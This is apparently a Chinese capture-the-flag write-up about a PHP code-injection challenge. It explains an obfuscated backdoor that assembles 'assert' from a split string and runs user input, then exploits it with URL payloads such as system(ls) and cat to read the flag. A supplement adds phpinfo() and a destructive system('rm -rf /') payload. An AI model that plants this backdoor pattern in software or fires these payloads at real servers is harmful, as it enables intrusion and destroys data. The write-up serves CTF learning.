一、原題
(1)提示:
$poc="a#s#s#e#r#t";$poc_1=explode("#",$poc);$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
(2)原網頁:一片空白什么都沒有
二、步驟
1.提示:
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
2.提示分析:?
$poc="a#s#s#e#r#t";
// 定義一個字符串 $poc,內容為 "a#s#s#e#r#t"$poc_1=explode("#",$poc);
// 使用 explode 函數將字符串 $poc 按照 "#" 分割成數組
// 結果是 $poc_1 = ['a', 's', 's', 'e', 'r', 't']$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
// 將數組 $poc_1 中的元素通過字符串拼接操作符 "." 連接成一個字符串
// 結果是 $poc_2 = "assert"$poc_2($_GET['s']);
// 動態調用函數 $poc_2,并傳入用戶輸入的參數 $_GET['s']
// 由于 $poc_2 的值是 "assert",這一行代碼等價于:assert($_GET['s']);
3.利用代碼注入漏洞,構造新的URL:
117.72.52.127:15439?s=system(ls)
?或者:
117.72.52.127:15439?s=system(dir)
4.輸入:
117.72.52.127L15439?s=system(''cat?flaga15808abee46a1d5.txt')
獲得flag:
三、補充
1.其他代碼注入漏洞:?
http://117.72.52.127:15640?s=phpinfo()
執行phpinfo(),泄露服務器PHP配置信息
http://117.72.52.127:15640?s=system('rm -rf /')
執行rm -rf,刪除服務器上的所有文件(假如有權限)
2.參數值分析:
system('ls')
system:PHP 的一個內置函數,用于在服務器上執行操作系統命令,并將輸出直接返回給調用者
ls:Linux 系統中的一個命令,用于列出當前目錄下的文件和文件夾
四、RCE:
RCE(遠程代碼執行漏洞)原理及漏洞利用-CSDN博客